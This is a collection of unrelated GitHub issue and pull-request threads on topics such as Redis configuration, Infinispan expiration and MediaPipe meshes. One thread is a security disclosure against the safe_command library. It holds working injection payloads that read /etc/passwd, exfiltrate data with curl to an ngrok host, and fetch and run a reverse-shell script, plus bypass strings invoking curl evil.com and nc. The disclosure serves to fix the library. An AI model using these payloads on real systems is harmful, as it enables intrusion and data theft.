Add a way to remove specific feeds with all associated data

We need a mechanism for removing a specific feed with all associated data. This may for example include:

blobs (if no other feeds reference them/the temporary on-demand want list doesn't reference them)
contacts
pubs
etc

This is needed for #16 and more importantly #20. I am creating this issue to distinguish between adding a way to drop a feed and implementing the slightly more complicated case of cleaning up feeds described in #16.

This may be problematic after #33 is added as other clients may not understand that the local sequence goes back to zero - I think the JS code specifically doesn't accept that number going down for some reason.


Redis configuration provider

Would it be a good idea to add a Redis configuration provider ?
Storage of the config in a hashset, reload capability with the keyspace notification feature, and voilà!

@glennc

This doesn't seem crazy, though it's not something we are looking at right now.
One thing to consider with the config system is that loading config delays startup. So the slower your configuration source the longer it takes for your application to startup. This is probably OK in this case, but I wanted to throw it out there.
The other thing to consider is how to get the connection string for Redis. Would you expect the pattern to be to create a Configuration object to use to get the ConnectionString and then use it to build a second Configuration object that you use for your app?

My use case would be to have an Azure key Vault configuration provider for a centralized secured storage of secrets like passwords, and a Redis configuration provider for a centralized "unsecured" storage. The Redis external storage avoid to push a new configuration file to every node interested in a
specific value (ie. a web service URL shared by dozen of applications)
Delayed startup could be acceptable if this is well documented.
About the configuration object required for a configuration buider, I am not a big fan, but the connectionString cannot be hard-coded. This is exactly the same problem with the Azure key Vault provider https://github.com/aspnet/Configuration/pull/500#issuecomment-243856519
I may be capable to provide a PR soon if needed.

I don't know that we want it here in the main config repo. However, if you build it and link the repo here I am ok with getting one of our guys to look over it, so you get another set of eyes, and we can link to it from the README and some places like that to tell people it exists.
It's not immediately clear to me that enough people explicitly want Redis that it should be in the main repo. KeyVault is questionable as well in my mind, but that's already done :).
We've followed the same pattern for some of our other repos and it seems to work well. Does that all make sense?

Here is the fork : https://github.com/ycrumeyrolle/Configuration/tree/redis
I may put later the code to the aspnet-contrib repo (https://github.com/aspnet-contrib)

@glennc @divega changes look reasonable to me, and include tests as well.

@HaoK regarding Redis and any other distributed KV store,
those things can fail eventually or not being 100% reliable. I worked quite a bit with Redis and you might get Timeouts or server exceptions after a while.
A good practice might be to retry operations with and wait for the redis server to come back.
Question is, should a configuration provider in this case care about those errors and implement retries, or just throw the error to the user?
Another question is how to deal with Redis' case sensitivity? see #560?

Given that the redis provider at least, is loading all the keys into memory during load/reloads, something like a mixed approach where it tries a small/reasonable amount of time before throwing seems best.
That said, if the failure happens during reload, the exception will probably not be able to be handled in any graceful manner, and it looks like the reload attempt would just be ignored and the old redis data preserved

According to this guidance :
https://docs.microsoft.com/en-us/azure/best-practices-retry-service-specific#azure-redis-cache-retry-guidelines
The Redis client include a basic retry pattern, which is configurable.
Should we also provide an OnLoadException method like with the file configuration provider ?


HQ

** DO NOT ERASE THESE INSTRUCTIONS WITHOUT READING THEM FIRST **
Please read this entire template before posting any issue to get faster response.
Open an issue on this repository with your topic or question, providing as much detail as possible. The more we know, the better we can help.
Before posting, search the repository to see if there's already an issue opened to avoid duplicates.
Are you sure this is an issue with the Botkit core module?
For all other questions, requests or help, please feel free to join the discussion slack : https://community.botkit.ai
What are you trying to achieve or the steps to reproduce?
Describe your issue here, include as much detail as necessary to reproduce the issue or implement a missing functionality.
// Wrap code in markdown source tags

What was the result you received?
What did you expect?
Screenshots and animated GIFs
Context:

Botkit version:
Messaging Platform:
Node version:
Os:
Any other relevant information:

Bhai muje chiye bot


Update Kotlin and stately, and add linuxArm64 target

Add linuxArm64 support, as a tier 2 target. co.touchlab:stately-concurrency added linuxArm64 support in v2.0.0, which also requires Kotlin 1.9.
I migrated the stately changes on androidx-main-3.1.1 as well, but was unable to push the changes:

remote: error: Trace: 8a9ace4c1c564a70221b8d76b840b8c65dc96c7ba59e45de60097a37ac6148ed
remote: error: See https://gh.io/lfs for more information.
remote: error: File camera/gradle/wrapper/gradle-4.6-all.zip is 101.78 MB; this exceeds GitHub's file size limit of 100.00 MB
remote: error: GH001: Large files detected. You may want to try Git Large File Storage - https://git-lfs.github.com.

Could you recommend how to push this branch?
The change was just sharedMutableListOf to ConcurrentMutableList.

Thanks for the PR! I'm in the midst of tracking 3.3.0-alpha02, the first version of AndroidX Paging that is KMP-compatible. The AndroidX Paging release is missing some targets still, like JS and MinGW support, hence Multiplatform Paging is continuing to track new versions of AndroidX Paging until/if AndroidX Paging targets all the targets Multiplatform Paging currently does.
Counter-intuitively, I would consider a Multiplatform Paging version of 3.3.0-alpha02 to be more stable than the Multiplatform Paging version of 3.1.1, despite the latter tracking a stable version of AndroidX Paging. The reason for this is that the amount I have to refactor in order to add all the Multiplatform Paging targets in 3.3.0-alpha02 is a lot less than that of 3.1.1, as 95% of the code is in commonMain in the latest version of AndroidX Paging, and we just have to list additional targets and workaround any oddities any platform has. Therefore, the potential for multiplatform translation issues is also a lot less when using the (soon to be released) 3.3.0-alpha02 of Multiplatform Paging.
As a result, I'm debating whether to deprecate (i.e., stop accepting contributions) to 3.1.1 and 3.2.0-alpha05. I was wondering whether you'd be okay with depending on a Multiplatform Paging version of 3.3.0-alpha02 (I can also add the linuxArm64 as part of my tracking effort)? Or is it very important to depend on 3.1.1 outside of it being a "stable" version?

That is great to get KMP support directly in AndroidX Paging. 3.2 is also stable now, so I don't see a reason to support 3.1, at the very least. Personally I'm ok using 3.3-alpha myself as well. Looking at the change log, it appears 3.3-alpha is just 3.2 + multiplatform support, and a deprecated API I'm not using anyway.
I'm going to be releasing my KMP database library soon, with a paging extension library alongside it, which uses multiplatform-paging to support Android, JVM, iOS, macOS, Linux, and Windows. As library dependencies (like kotlinx-coroutines) have also been adding linuxArm64 support, I'm also now able to add this target myself. So that'd be great if you could include it in multiplatform-paging. Thanks!

Excited to see this as a part of your library! I just released 3.3.0-alpha02-0.4.0 which tracks 3.3.0-alpha02 and adds support for linuxArm64. Please let me know if you face any issues with it!

Great, I updated and tests are all passing with my paging extension. Thanks for adding the linuxArm64 target.

@veyndan I just ran across this conversation from one of those tabs I've left open for months. 😅 Thought I'd drop a link to my paging extensions for my KMP database library, now that it's been released.


ISPN-10032 unclear lifespan expiration lifespan value (seconds or UnicTime)…

https://issues.jboss.org/browse/ISPN-10032
removed conversion from seconds to UnitTime if  seconds>30days (2592000)
removed Javadoc which mention converting from seconds>30Days to Unix time 1/1/1970

I'm aware that we have not been consistent in the past, but it'd be good to be able to say that from protocol X.Y onwards time is considered number of seconds.

yes, that would be great.
But I suppose it will not help at all to prevent users from having issues.
Why?

legacy clients behave different anyway
if the client will use the new remote.jar it will use the latest protocol version automatically
I would not expect the user will set the version explicitly
Use case of >30days expiration is rare

legacy clients behave different anyway
Use case of >30days expiration is rare

Even if it's rare, we already have the customer who uses such large expiration. So, we should not break the customer's application.
As I mentioned in the JIRA JDG-2612, if the default behavior is changed in new versions, please provide a configurable switch to restore the backward compatible behavior. (IMO, providing a system property is enough.)

@msfm -1 from me to make the behaviour configurable, especially with a system property, because at some point we will remove the system property and there would be even less warning for users when that happens.
OTOH to help the customers who are using this feature now, we could log a warning the first time we see an expiration timeout > 30 days, and also provide a utility method to convert from UNIX time to lifespan.

I like the change as is. And I like @danberindei 's proposal for a one-time warning.

the issue is that the user which need a lifespan >30days need to do something NOW as workaround.
i.e. check > and add 1.1.1970 in seconds, or do it by an utility method for all.
But with the correction it will be changed, so the code need to be changed the same time the server is updated.
So unfortunately in any case complicated :(

I think the only way to marry the requirements of @msfm and @wfink is doing what I proposed at the very beginning: apply @wfink's suggestions but only to a newer protocol version.
That way @msfm does not get transparently broken, but the user needs to know what was the last Hot Rod protocol version where the UNIX time was used. If they ever want to up the Hot Rod protocol version (to take advantage of newer features or improvements), they'd have to adjust things.

Good thing that Infinispan 10 bumps the protocol to 3.0.

What's the status of this PR? It seems to have been inactive for a long time

This should be handled by CodecXX.java so that it is version-dependent.

Closed in favour of https://github.com/infinispan/infinispan/pull/7143


Line-break with Ctrl-Enter not working anymore

In previous versions it always worked to enter Ctrl-Enter to get a line-break instead of a new paragraph. With the recent version this is not longer working... Tested in newest Safari and Chrome versions on https://alex-d.github.io/Trumbowyg/
Just enter text and then press Ctrl-Enter - nothing happens. Also Alt-Enter, or other combinations with Alt, Shift and Ctrl are not working.
Please help, as this was very important for proper formatting of texts!

I have to be more precise - it seems that it changed to Shift-Enter which creates  in Chrome, but not in latest Safari macOS Sequoia betas anymore (there it also creates a  as a plain Enter key press.

Solved in latest Safari beta updates. Please ignore, closed

Apple now has has  changed again the way Safari handles Ctrl-Enter/Shift-Enter etc. in a textarea with the recent macOS Sequoia 15.1 b. Currently I did not find any way to enter a line-break anymore. Ctrl-Enter now opens the context menu instead of line-break. Other combinations like Shift-Enter, Alt-Enter etc. won't help either. Any idea how we can solve this independent of what Safari offers? Chrome is no issue.

This is still an issue again in the most recent Safaris.... There is no way to enter a line-break (without paragraph) anymore. Not sure how to adapt Trumbowyg to catch the keypress event Shift-Enter and then perform a  instead of a . Very important to make beautiful HTML texts though.


Added dragen alignment pipeline version 4.2.4

TODO

[x] Wait for #382

Alexis; confirming -- is this new dragen alignment pipeline is alignment QC pipeline for both WGS and WTS, correct..? And that will be replaced wgs_alignment_qc with Ocicat release as discussed..?

The WGS QC Pipeline has one step (which calls the dragen alignment pipeline).
So I think we can shrink this down and just call the dragen alignment pipeline instead, we will use this for both WGS and WTS QC steps with the only difference being the '--enable-rna' parameter

Thoughts on this @skanwal, means a change to the WFL ID in https://github.com/umccr/infrastructure/pull/334

 Portal Release - Ocicat: Run WTS QC workflow through Portal before running Dragen WTS Tumor Only Workflow

I second this idea @alexiswl. Did we test dragen alignment pipeline for WTS data in dev?

Did we test dragen alignment pipeline for WTS data in dev?

Pretty sure we ran the wgs qc for WTS as a test. Can run for both WGS and WTS this afternoon

Done, with
WTS
wfr.82f89531a0b44d26b0e717c2f5b7178f
WGS
wfr.a241f7e6ec06487db6a9eecc8f694470
4.2.4 didn't have the --enable-map-align-output parameter available so have added that in.
It is a redundant parameter since we are not doing variant calling, but good to have regardless.

Also added to production_workflows project

Investigating missing RNA Quant Metrics and Transcript Coverage from multiqc in wfr.82f89531a0b44d26b0e717c2f5b7178f outputs.
May be that just adding --enable-rna=True isn't enough.
Also note that the output files for dragen still contain wgs_* prefixes :/

Ah need the --enable-rna-quantification parameter for transcript and quant metrics. This also requires an annotation file to be loaded. Are we happy to have these omitted? This 'QC' workflow can then just be with respect to alignment quality (and depth).

--enable-rna-quantification parameter for transcript and quant metrics. This also requires an annotation file to be loaded.

I'd suggest we should add these as looking at the QC report we are also missing rRNA%, which might be a useful metrics for the lab.

Also note that the output files for dragen still contain wgs_* prefixes :/

As also mentioned yesterday - not surprised..

I'd suggest we should add these as looking at the QC report we are also missing rRNA%, which might be a useful metrics for the lab.

We can add in --rrna-filter-enable=true then too -
from dragen v4.2 docs

Reran with wfr.9fca2a78578741c1b3b04fb540ff9162.

%rRNA ✅
Transcript Coverage Plot ✅
Quant Metrics Plot ❌

Tried running with multiqc 1.15 (released a few days ago) but I forgot to commit the search patterns file so that's a new PR here https://github.com/ewels/MultiQC/pull/1969.
tl;dr, we can create our own custom container if we really need the quant metrics in multiqc?

tl;dr, we can create our own custom container if we really need the quant metrics in multiqc?

For dragen-transcriptome workflow, we'll need the plot. So, it'll be good to have it added.
Thanks for the upstream PR.

This is using from this commit https://github.com/ewels/MultiQC/commit/eb98188a88cfe4d1cf718fc04669ef7d3dd7f49d
Created an image under https://quay.io/repository/umccr/multiqc?tab=tags
PTC_NebRNA210629_dragen_alignment_multiqc (1).zip

Waiting for #384

@skanwal please let me know if this is all okay from your end?
Would like to get stg, prod PRs done for WGS/WTS QC infrastructure and fix up https://github.com/umccr/data-portal-apis/pull/611 with the additional parameters discussed above.

All good from my end @alexiswl.


when i use openturns cobyla to calaulate optimization

i use python code is
"""
def _exec(X0):
"""Main function: must be present"""
Y0 = X0
return Y0
"""

output is 1e-8
input is 0.1
so i think it maybe the cobyla error.
and when i change the end bound is 10,the value is
output is 10
input is 10

You have to file your issue on the openturns repo. The Rust cobyla implementation here is not used in openturns.


There is a problem with the meshing instance image of face_geometry

There is a problem with the meshing sample image of face_geometry，
Below is a sample image from github
https://github.com/google/mediapipe/blob/master/mediapipe/modules/face_geometry/data/canonical_face_model_uv_visualization.png
However, the image generated by the program is like the following one
https://mediapipe.dev/assets/img/photos/faceMesh.jpg
There are some differences in the division of the mesh between the two pictures. According to the line data of face_mesh_connections.py, the correct one should be the one below.
The triangle mesh list is created with reference to the coordinate point connection relationship in face_mesh_connections.py
https://github.com/google/mediapipe/pull/3419

Can't find that face_model_landmarks_triangles.txt. But as i checked canonical_face_model.obj and geometry_pipeline_metadata_landmarks.pbtxt. Both files are coincident with canonical_face_model_uv_visualization.png. I can construct the exactly the same image as canonical_face_model_uv_visualization.png either from the canonical_face_model.obj or geometry_pipeline_metadata_landmarks.pbtxt.
Maybe, that face_mesh_connections.py is not valid anymore?
the 1st triangle's vertex indices are { 174, 156, 134 } (note obj file uses one-indexed)
https://github.com/google/mediapipe/blob/63e679d99ca45b30514a9d84c9351a2d77bb9ba0/mediapipe/modules/face_geometry/data/canonical_face_model.obj#L937
compare to the 1st first triangle indices { 173, 155, 133 } (zero-indexed)
https://github.com/google/mediapipe/blob/63e679d99ca45b30514a9d84c9351a2d77bb9ba0/mediapipe/modules/face_geometry/data/geometry_pipeline_metadata_landmarks.pbtxt#L2392-L2394

Can't find that face_model_landmarks_triangles.txt. But as i checked canonical_face_model.obj and geometry_pipeline_metadata_landmarks.pbtxt. Both files are coincident with canonical_face_model_uv_visualization.png. I can construct the exactly the same image as canonical_face_model_uv_visualization.png either from the canonical_face_model.obj or geometry_pipeline_metadata_landmarks.pbtxt.
Maybe, that face_mesh_connections.py is not valid anymore?
the 1st triangle's vertex indices are { 174, 156, 134 } (note obj file uses one-indexed)
https://github.com/google/mediapipe/blob/63e679d99ca45b30514a9d84c9351a2d77bb9ba0/mediapipe/modules/face_geometry/data/canonical_face_model.obj#L937
compare to the 1st first triangle indices { 173, 155, 133 } (zero-indexed)
https://github.com/google/mediapipe/blob/63e679d99ca45b30514a9d84c9351a2d77bb9ba0/mediapipe/modules/face_geometry/data/geometry_pipeline_metadata_landmarks.pbtxt#L2392-L2394

There may be some problems with my expression, the grid displayed by the sample code on Python Colab is as follows,

canonical_face_model_uv_visualization.png is as follows，It is obvious that the meshing in the forehead is different。

As for face_model_landmarks_triangles.txt, it's in https://github.com/google/mediapipe/pull/3419/files, just a list of grid indices

So to speak, face_mesh_connections.py is incorrect and your triangle list file is not correct, either.

Mesh generation is a form of expression. The official Python example code shows that mesh generation and face_ mesh_ connections. Py is the same as canonical_ face_ model_ uv_ visualization. PNG is different. There needs to be a unity between the two. Maybe they need to modify the sample code.

mediapipe/mediapipe/modules/face_geometry/data/canonical_face_model.fbx

mediapipe/mediapipe/modules/face_geometry/data/canonical_face_model.obj

Hi @YongHe999 ,
Are you still facing any issue.


Safe Command is vulnerable to injection. Example exploits and fixed implementation.

While testing pixee I gave it a vulnerable web app that used subprocess to list and search user files.
Which resulted in a Sandbox Process Creation PR:
import subprocess
+ from security import safe_command
  ...
- subprocess.run("echo 'hi'", shell=True)
+ safe_command.run(subprocess.run, "echo 'hi'", shell=True)
  ...
- subprocess.call(["ls", "-l"])
+ safe_command.call(subprocess.call, ["ls", "-l"])

Test App after merging pixies pull request to use safe_command
All of the exploits below are still possible even while using safe_command all restrictions can be bypassed. This in my opinion is very dangerous since the documentation of safe_command and pixie AI describe it as sandboxed which will lead to developers being careless and blindly trusting that it is safe.
The primary reasons are:

Incorrect handling of globbing chars
No protection for binaries which can exec other binaries
Incorrect parsing of shell-syntax contained within quotes

Here is a fixed version that addresses all these issues:
Linked to fixed safe_command api.py
Link to tests that check all restrictions
Web app example showing how exploits will run against the current safe command but will not run against the fixed version
import requests

url = "http://<IP_ADDRESS>:5000"

# Example exploits of which bypass python-security safe_commandc

# Targeting list_files which uses grep_user_file with shell=False

# Directory traversal not caught since only .endswith() is used in check_sensitive_files
data = {
    "username": "testuser",
    "search_files": "search_files",
    "filename": "../../../../../../../../../../../../etc/sudoers.d/../passwd",
    "search_query": ":"

}
# Prints the contents of /etc/passwd bypassing PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES check
print(requests.post(url, data=data).text)

# Targeting list_files which uses find_user_file with shell=True

# Globbing and multiple ///s also not caught since only .endswith() is used check_sensitive_files
data = {
    "username": "testuser",
    "list_files": "list_files",
    "file_pattern": "/etc///pa*sswd*",

}
# Prints the contents of /etc/passwd bypassing PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES check
print(requests.post(url, data=data).text)

# Chained commands that leverage other binaries not caught since no separator is used.
# This affects more than just the find command, xargs, byoubu-ugraph, and many others can be used to chain commands,
# find is just one of the most common simple examples.
data = {
    "username": "testuser",
    "list_files": "list_files",
    "file_pattern": "*.txt' -exec cat /etc///pa*sswd* {} '+",

}
# Prints the contents of /etc/passwd bypassing PREVENT_COMMAND_CHAINING and PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES checks
print(requests.post(url, data=data).text)

# Banned executable only raise an exception if nested at the same level as the invoking command in a command chain.
# This is not caught since the banned executable is nested in a command substitution subshell within sh -c subshell.
# The core issue here is values within quotes are not parsed for shell syntax or banned executables.
data = {
    "username": "testuser",
    "list_files": "list_files",
    "file_pattern": "*.txt' -exec sh -c \"echo $(curl -o bot.sh https://e171-216-243-47-166.ngrok-free.app/$(base64 < exfil.txt) ) $(sleep 2) $(chmod +x bot.sh) $(./bot.sh) etc\" {} '+",

}
# Exfils data and downloads and executes malicious script using curl that opens a reverse shell
# bypassing PREVENT_COMMAND_CHAINING and PREVENT_COMMON_EXPLOIT_EXECUTABLES checks
print(requests.post(url, data=data).text)

@LucasFaudman this is extremely valuable feedback and very much appreciated. This is just a brief response to acknowledge that I will be investigating this further. I'll leave additional updates here over the next day or so.
Thank you so much for your feedback! Please keep it coming!

@LucasFaudman thanks so much again for the time and effort you put into this research.
The changes you made look very interesting. I'm not sure we can accept them exactly as-is, but if you are willing and able, would you be interested in opening a pull request with your changes? We'd be happy to have you as a contributor and this would enable us to iterate and provide feedback.
Otherwise we'll make some changes on our end and keep you updated.

Hey @drdavella, yes I would love to be added as a contributor and iterate through changes with you. I imagine you have some specifications I should be aware of like, how symlinks should be handled, your testing and python version compatibility   requirements, etc.
I actually reviewed my solution just now and made a few notable changes:

It occurred to me while looking at an attack on our network today that shlex.split, glob.glob and shutil.which all do not account for $IFS/${IFS} so this could also be used to bypass restrictions in both of our previous implementations. Now before parsing the command and resolving paths, I replace $IFS/${IFS} which the first char in os.getenv('IFS')
Absolute path strings are now checked for .endswith(f'/{banned_executable') so running a command like rsync will not be blocked by the restriction on nc
Minor optimization of check_banned_executables using precomputed abs_path_strings instead of the set of full pathlib.Path objects.

I also have some additional ideas that I think could useful:

Checks for permission of the files founds in commands. For example files with SUID GUID bits set could be blocked to prevent privilege escalation.
Support for preventing access to sensitive directories in addition to files.
Optional kwargs to the run interface that allow items to be added to or removed from the sets used by the checks. For example this could allow for specific files to be explicitly allowed or disallowed. Which could be cool because a future codemod could detect sensitive files accessed or created by a project then pass these to the call to safe_command.run.
subprocess.run could be default value of original_func for ease of use.

I also think an additional test suite is needed using a comprehensive command injection fuzzing payload list to test a variety of possible use cases of safe_command (with commands passed as lists and strings with and without shell=True)
I think this would be a good final check to make sure there is not a restriction bypass using an obscure technique we didn't consider like a rare encoding or similar.

@LucasFaudman thanks so much for your response. Your idea about additional testing is a very good one. I'd love to iterate through some of these ideas with you, as well as the changes that you introduced on your own fork. I think the best way to do this is probably in the form of PR comments since it is tightly coupled with the code. I'll keep an eye out for your PR (feel free to open with just the changes you suggested already) and then maybe we will spawn some other suggestions/issues from there.

@drdavella Sounds good. Before I submit my PR two questions to prevent wasted time refactoring later:

What is the minimum Python version # the python-security library should be compatible with? I heavily used newer features like the walrus operator, shutil.which TypeAlias etc just to be able to write an initial solution quickly, but the code is not at all dependent on these features so I can easily edit it to work with any min version.
Should all tests be in pytest or is unitest acceptable? I can do either.

@LucasFaudman great questions! We explicitly support >=3.8. You should be good on the walrus. I'm less familiar with the version constraints of the others.
pytest is preferable, thank you!

Sounds good, I'll make the PR as soon as I have another chance to dig into this. My schedule is a bit crazy at the moment due to interviewing but I will most likely have it done in the next day or so. Unless  I discover a significant issue with the fuzzing payloads, then I'll let you guys know. Take care!

Hey @drdavella, please give me Contributor access and I'll submit my PR.
After testing with FuzzDB and BurpSuite payloads, I discovered two more significant  issues with both our implementations  which could be used to bypass restrictions:

Nested shell syntax  ie: sh<<<'bash<<<\"curl evil.com\"'
Solution: space all redirection operators then recursively shlex.split command before resolving paths and performing checks.
Shell expansion: ie {nc,-l,-p,1234}, ${BADKEY:=nc} -l -p 1234, etc
Solution: Preform expansion (in Python not using a shell of course) before resolving paths and performing checks.

All tests in pytest and it is compatible with Python version >=3.8. Link here

Hi @LucasFaudman that's awesome! I can't wait to see it. I think you should be able to open a PR from your fork without officially being added to this repo. That's the way a lot of OSS projects manage contributions from both internal and external contributors. Would you mind trying that out and then we can go from there?


Frictionless Data Presentations

[x] Standard General Intro
[ ] Technical Intro (Todo)

@danfowler is this still relevant with all the material you've produced in recent months?


fix query bug cause by  partition_aggregation_node

Proposed changes
Close related #7549
Types of changes
What types of changes does your code introduce to Doris?
Put an x in the boxes that apply

[ X] Bugfix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Documentation Update (if none of the other choices apply)
[ ] Code refactor (Modify the code structure, format the code, etc...)
[ ] Optimization. Including functional usability improvements and performance improvements.
[ ] Dependency. Such as changes related to third-party components.
[ ] Other.

Checklist
Put an x in the boxes that apply. You can also fill these out after creating the PR. If you're unsure about any of them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before merging your code.

[ X] I have created an issue on (Fix #7549 ) and described the bug/feature there in detail
[ ] Compiling and unit tests pass locally with my changes
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] If these changes need document changes, I have updated the document
[ ] Any dependent changes have been merged

Further comments
no

Hi @GoGoWen , If it's convenient, could you connect me in wechat(morningman-cmy), some details need to discuss.

Hi @GoGoWen , I tested in mysql:
mysql> select * from tbl1;
+-------+
| k1    |
+-------+
| 58262 |
+-------+
1 row in set (0.06 sec)

mysql> select sum(k1) from tbl1 where k1=2;
+---------+
| sum(k1) |
+---------+
|    NULL |
+---------+
1 row in set (0.07 sec)

Looks like if the result set is empty, the sum will return null.

Hi @GoGoWen , I tested in mysql:
mysql> select * from tbl1;
+-------+
| k1    |
+-------+
| 58262 |
+-------+
1 row in set (0.06 sec)

mysql> select sum(k1) from tbl1 where k1=2;
+---------+
| sum(k1) |
+---------+
|    NULL |
+---------+
1 row in set (0.07 sec)

Looks like if the result set is empty, the sum will return null.

Hi @morningman,  thanks for your reply.  As you mentioned,  seems it's same as mysql.    maybe it's not an issue.    But i still have a question:  why mysql return NULL instead of "empty set"?


Scroll down is not working and callout is set to invisible

Hello,
During a tour I have a callout that change its location accordingly with page content.
When there's not much content the callout is shown, but when there's more content the callout is set to invisible.
Shouldn't the page scroll down automatically to where the callout is and show it?
Is this a bug and/or is there any workaround to show the callout?
Thanks,
Joao

Hi Joao,
Do you have any sample code that reproduces this issue? Are there any particular browsers you're seeing this issue in?

Closing this issue for now. If there are additional details that can help us reproduce this issue, let us know and we can revisit. Thanks!


Change "Software" to "Solver"

On Admin page LHS.
In primary key i.e everywhere?

As this is a prototype the easiest thing to do is  change the menu on the admin page so that the resource type headings use the "label" field. Then label the software resource type here as "Solver" - then everything can stay the same through the whole code base using software as solver.
Re-doing software as solver, or doing solver from scratch would be a lot of work which given this a prototype which we aim to replace soon doesn't seem the sensible choice


Get Word Confidence in streaming ASR also for temporary results

Is it possible to get word confidence in streaming ASR also for partial transcriptions, as it is possible for finalized transcription? If not, this would be a useful new feature.

@fantinuoli Currently we do not support word confidence for intermediate results. I will create work item for that for planning.

workitem ref: 4693329


Wizard Extension Dev tutorial, possible pre-req's confusion?

I installed Azure Data Studio for MacOS through this page's instructions.
In the Wizard extension article ....

Ensure azuredatastudio is in your path. For Windows, make sure you choose the Add to Path option in setup.exe. For Mac or Linux, run the Install 'azuredatastudio' command in PATH option.

To what install command is this quote referring to? Does the documentation need to clarify different approaches to Mac vs Linux, since the Mac install is just a zip with "Azure Data Studio.app"?
Is there a specific place where I should be downloading azuredatastudio runtime independently for Mac?
Thanks!

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 6a71a1f4-5685-964e-0392-d1e900a1a2fd
Version Independent ID: 2d586675-cca1-5f57-62b8-95b17372f76b
Content: Create wizard extension - Azure Data Studio
Content Source: docs/azure-data-studio/extensions/wizard-extension.md
Product: azure-data-studio
Technology: azure-data-studio
GitHub Login: @yualan
Microsoft Alias: alayu

@spencer741 -- Spencer, thank you for your feedback and question.  Please consider these resources:

SQL Server on Microsoft Q&A
DBA Stack Exchange
Stack Overflow

@yualan -- Alan, please look into this issue.

@spencer741 - it isn't a special location of the application when it is installed, its an association between the command "azuredatastudio" on the command line and launching the app.  There should be a command in Azure Data Studio for "Install azuredatastudio command in PATH"
You can open the Azure Data Studio command palette with cmd+shift+p.  There's an example here: https://github.com/microsoft/azuredatastudio/issues/11768
Once this is completed (you may need to restart), you should be able to open Azure Data Studio by typing azuredatastudio in the Terminal in macOS.

@dzsquared -- Drew, thank you for clarifying, and for updating the article.
I am closing this issue now.  You are welcome to @ mention me for any followup.
We hope to hear from you again.

@spencer741 - I hope you are unblocked.  Regarding extension development for Azure Data Studio, you are welcome to reach out to me or drop questions in the issues on https://github.com/microsoft/azuredatastudio

@dzsquared @WilliamAntonRohm  Thank you both for the help and clarification!


#77 remove required settings var PAYPAL_RECEIVER_EMAIL to allow different…

Remove required settings var PAYPAL_RECEIVER_EMAIL to allow different receiver emails.
It only affects standard payments (IPN and PDT).
Checks if the settings.PAYPAL_RECEIVER_EMAIL exists in settings when validating the received payment information, and in that case it issues a DeprecationWarning and has the previous behaviour (however, settings.PAYPAL_RECEIVER_EMAIL is not used as default value for the business field in the PayPalPaymentsForm, and should be set when creating a PayPalPaymentsForm instance). If it does not exists it does not perfomer the email check.
Changed the docs, and removed the test that checks for invalid email flag.

Thanks so much for this. I'm unlikely to be able to look it very soon, however - just a warning!

No hurries. Review it when you have time. I will use my fork until it gets merged (I hope everything will be ok, I followed your advice).

I'll try to fix this between today and tomorrow.

I've fixed some minor issues in the docs in the later commits that I did not see until reviewing the pull request in github.

Thanks so much for this, it's merged now.

You are very welcome! thank you for you efforts maintaining this package! :)


Great job!

 Way to not think of the consequences more than 5 seconds in front of you. Glad that people are now botting every tyoe of purchase out there.   Nope I'm actually just reading how the code
has been used now to successfully buyout essential supplies around the
world.
Good job dipshit. And it's not basic supply and demand. There's regulations
out there. JFC.
On Fri, Aug 7, 2020, 9:44 AM Nate<EMAIL_ADDRESS>wrote:

Relax Matt, I did not invent botting. Nice to see I live in your head rent
free
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/natewong1313/bird-bot/issues/64#issuecomment-670581129,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AQRFF2ATDYOSR2NG7VQ6TNDR7QOPVANCNFSM4PXXX2OQ
.


Dockerise everything

Redis can be run in docker, which should make it easier to run Jose locally

I dunno, never felt the need for it 🤷


Code dont refresh until scroll

On iOS 12, when a code timeout, the new code dont show until scroll the list and the cell is refresh
How reproduce
Open the list of codes, go to end of list and wait until codes expire.
Some of the codes dont update their display, i must to scroll up, and down again to see the update

Código


feat(starknet_state_sync): implement sync state reader get class hash at

This change is

Merge activity

Dec 22, 3:18 AM EST: A user started a stack merge that includes this pull request via Graphite.


As a staff person I want to add a plant community and update all information so the RUP content is complete

Requirements

[ ] required fields are identifiable (approved by minister, Plant Community Description) #162
[x] "Add Plant Community" option visible
[x] prompt to select plant community
[ ] if "other" selected from prompt second prompt for "name" triggers
[ ] name of new plant community displays
[x] if "other" was selected the name entered in the prompt is displayed
[x] view and update Aspect
[x] elevation options display
[x] update Elevation
[x] update Approved By Minister toggle
[ ] Update Plant Community Description #142
[x] Update Community URL
[x] Update Purpose of Action to either establish or maintain
[x] Plant Community Actions section not visible if Purpose of Action is "none"
[x] Update Purpose of Action back to blank

@calebissharp
The two items below from the requirements (above) were working with the popup for "other" but they no longer are. See Issue #272

if "other" selected from prompt second prompt for "name" triggers
name of new plant community displays

Wondering if this had something to do with your work on the OTHER option for plant community actions and indicator species. I'm putting #272 as a bug into this sprint backlog so we make sure we don't actually push that regressed behaviour into PROD.


Added Readme for -p flag

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Stop mouting localtime from host

In general we should avoid mounting hostpath in k8s pods. Timezone can be configured using TZ environment and this is more flexible. (For example we can configure timezone different from the one used in the platform.)

Why would we want to configure it differently than the host? I don't see real value on that.
And this also adds extra work to actually set the env variables, right?

Why would we want to configure it differently than the host? I don't see real value on that.
The main concern is that mounting this file (and instance-id) requires privilege mode enabled.
Using TZ env is the standard way to customized timezone inside containers as suggested in https://access.redhat.com/solutions/4994241 .

And this also adds extra work to actually set the env variables, right?
It's true, though we probably leave actual implementation now unless we actually have a use case where users need to customize timezone used in each service log.


Split into implementation and proc_macro crate

I wanted to make a proc macro that used the async_trait proc macro (after doing some other changes to the input). Now, one way to do this is to require consumers to always add both (in the right order), however, I wanted to avoid that as it's not ergonomic. So I tried doing this:
use async_trait::async_trait;
use proc_macro::TokenStream;

#[proc_macro_attribute]
pub fn test(_args: TokenStream, input: TokenStream) -> TokenStream {
  let cloned = input.clone();

  ::async_trait::async_trait(TokenStream::new(), input)
